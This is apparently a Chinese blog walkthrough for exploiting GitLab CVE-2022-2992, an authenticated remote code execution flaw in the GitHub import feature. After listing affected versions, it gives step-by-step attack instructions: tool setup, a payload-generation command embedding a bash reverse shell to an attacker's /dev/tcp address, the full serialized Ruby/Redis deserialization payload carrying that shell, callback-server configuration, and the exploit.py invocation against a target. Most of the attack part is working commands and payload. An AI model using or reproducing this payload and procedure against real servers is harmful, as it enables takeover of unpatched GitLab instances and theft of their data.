gitlab 命令执行漏洞(CVE-2022-2992)

1.漏洞影响版本

GitLab CE/EE 中的一个漏洞影响从 11.10 开始到 15.1.6 之前的所有版本、从 15.2 开始到 15.2.4 之前的所有版本、从 15.3 开始到 15.3.2 之前的所有版本。允许经过身份验证的用户通过从 GitHub API 端点导入实现远程代码执行。

查看 gitlab 版本。(登录后才能看到)

http://xxx/api/v4/version

2.漏洞工具

https://github.com/CsEnox/CVE-2022-2992#expected-output-in-each-window

装一下工具环境

bash 复制代码
sudo apt install ruby python3 python3-pip
gem install redis (一般这个都没装)
pip install flask

3.漏洞利用

1.现在要生成序列化的有效负载,请运行Payload_gen.rb并保存有效负载。下面是一个例子:

ruby payload_gen.rb 'bash -c "sh -i >& /dev/tcp/xxx29/443 0>&1"'

2.在server.py中相应地更新 NGROK_URL 和 PAYLOAD 变量。下面是一个例子:

(NGROK_URL替换为攻击机所在vpsip。)

bash 复制代码
PAYLOAD = 'ggg\r\n*3\r\n$3\r\nset\r\n$19\r\nsession:gitlab:gggg\r\n$359\r\n\u0004\b[\bc\u0015Gem::SpecFetcherc\u0013Gem::InstallerU:\u0015Gem::Requirement[\u0006o:\u001cGem::Package::TarReader\u0006:\b@ioo:\u0014Net::BufferedIO\u0007;\u0007o:#Gem::Package::TarReader::Entry\u0007:\n@readi\u0000:\f@headerI\"\baaa\u0006:\u0006ET:\u0012@debug_outputo:\u0016Net::WriteAdapter\u0007:\f@socketo:\u0014Gem::RequestSet\u0007:\n@setso;\u000e\u0007;\u000fm\u000bKernel:\u000f@method_id:\u000bsystem:\r@git_setI\"8bash -c \"sh -i >& /dev/tcp/xxx29/443 0>&1\"\u0006;\fT;\u0012:\fresolve'
NGROK_URL = 'http://vpsip:5000'

3.注册 gitlab 账号,在 gitlab 上为用户创建访问令牌并选择所有范围。

http://xxxxx/-/profile/personal_access_tokens

4.运行exploit.py注意,这里直接在vps 运行,可以省略使用工具中提到的ngrok工具做内网穿透,实测使用ngrok做内网穿透也会有访问上的问题,强烈推荐直接使用vps 运行 exploit.py

bash 复制代码
python3 exploit.py -a ZjY4CzUxxxxx -u http://vpsip:5000 -t http://www.gitlab.com:4567/

5.命令执行成功。

相关推荐
HIT_Weston2 天前
43、【Ubuntu】【Gitlab】拉出内网 Web 服务:静态&动态服务
前端·ubuntu·gitlab
小安同学iter2 天前
三台服务器,一套流水线:如何实现无缝自动化部署?
gitlab·jenkins
西部森林牧歌3 天前
Arbess从基础到高阶(14) - 使用Arbess+GitLab+SonarQube实现代码扫描完成后自动化部署
ci/cd·gitlab·sonarqube·arbess·tiklab devops
4***V2024 天前
GitLab Pages配置
git·gitlab·github
sulikey4 天前
从入门到精通:如何自己编写高质量的 .gitignore(面向工程实践)
git·gitee·编辑器·gitlab·github·gitignore·gitattributes
小晶晶京京4 天前
day62-gitlab和JenKins
运维·gitlab·jenkins
三天不学习6 天前
GitLab Docker 安装完整配置项说明
docker·容器·gitlab
一念一花一世界8 天前
Arbess从初级到进阶(9) - 使用Arbess+GitLab实现C++项目自动化部署
c++·ci/cd·gitlab·arbess
X***48968 天前
GitLab
gitlab
一世一生命8 天前
GitLab Package依赖管理:从 Dependabot 到 Renovate 的迁移实践和两者对比
gitlab